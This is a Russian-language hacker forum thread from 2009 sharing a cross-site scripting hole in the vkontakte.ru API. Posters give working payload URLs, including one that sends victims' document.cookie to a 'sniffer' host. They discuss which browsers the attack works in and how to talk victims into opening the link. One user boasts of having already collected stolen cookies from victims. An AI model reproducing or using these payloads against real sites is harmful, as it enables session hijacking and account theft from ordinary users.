Active xss vkontakte.ru

Discussion in 'Социальные сети' started by banned, 27 May 2009.

  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    http://api.vkontakte.ru/api.php?v=2.0&sig=%3Cscript%3Ealert(document.cookie)%3C/script%3E&format=JSON&api_id=517649&method=getAppFriends

    Добейте
    [​IMG]
     
  2. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Ты уверен, что это активка? =\
    И в опере не катит =\
     
  3. Rebit

    Rebit Elder - Старейшина

    Joined:
    7 Aug 2007
    Messages:
    85
    Likes Received:
    214
    Reputations:
    2
    Да в Опере не пашет и в Internet Explorer тоже
     
  4. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    слэш в закрывающем тэге экранируется, а так бы сработало
     
  5. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Изя лох :( это пассивка,

    http://api.vkontakte.ru/api.php?v=2.0&sig=<img+src=.+onerror=alert()>&format=JSON&api_id=517649&method=getAppFriends
     
  6. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    А изя промазнулся, а изя проманхнулся :D
     
  7. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    мб перенесете в приват? А то щас же школья набежит тут, а чо, а кто, а зачем это и т д...
     
  8. Sin3v

    Sin3v Banned

    Joined:
    16 Jul 2008
    Messages:
    11
    Likes Received:
    95
    Reputations:
    9
    Ха токо в IE пашет и это пассивка, нафиг она, все щас сидят на мозиле и опере. Так уж при впаривании надо говорить зайди через такой браузер иначе страница не загрузится.

    Я две нашел в более легких условиях и где досих пор пашет))
     
  9. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    Это пассивка и пашет она под все браузеры
     
  10. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    dj всех браузерах работает :)
     
  11. FatalLerr0r

    FatalLerr0r Member

    Joined:
    15 Apr 2009
    Messages:
    33
    Likes Received:
    6
    Reputations:
    0
    перенесите в приват!!!!!
     
  12. LiteMentaL

    LiteMentaL Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    12
    Likes Received:
    314
    Reputations:
    7
    поздно переносить, уже прикрыли
     
  13. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    не-а ;)
     
  14. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    а толку, слеши фильтруют, никак ссылку ввести не получается)
     
  15. Dj-Matrix

    Dj-Matrix New Member

    Joined:
    7 Nov 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Работает в Firefox:
    http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.href='http://sniffer?'%2Bdocument.cookie>&format=JSON
     
  16. cylaaaan

    cylaaaan Elder - Старейшина

    Joined:
    31 Aug 2006
    Messages:
    0
    Likes Received:
    44
    Reputations:
    8
    в опере тож
     
  17. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    я просто забыл что такое хекер и чем отличаются пассивные поцаны и активные
     
  18. s_p_a_m

    s_p_a_m Elder - Старейшина

    Joined:
    8 Feb 2008
    Messages:
    100
    Likes Received:
    58
    Reputations:
    4
    Удалите нах тему, или редактируйте свои посты, прикроют же...
     
  19. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90

    :-D
    :-D :-D
    :-D :-D :-D :-D :-D :-D :-D
    :-D :-D :-D :-D :-D :-D :-D :-D :-D
    :-D :-D
    :-D :-D :-D :-D
     
  20. ekstab

    ekstab New Member

    Joined:
    28 Apr 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    потрите посты) хотя уже поздно =//
    ______
    upd: спасибо за XSS'ку)))) за сегодня уже 4к рейта набрал))))
    ______
    upd2: смотрю логи, а там даже куки чака))) :rolleyes:
    еще попался чел из АК47 белобрысый))) :D :rolleyes:
     
    #20 ekstab, 30 May 2009
    Last edited: 31 May 2009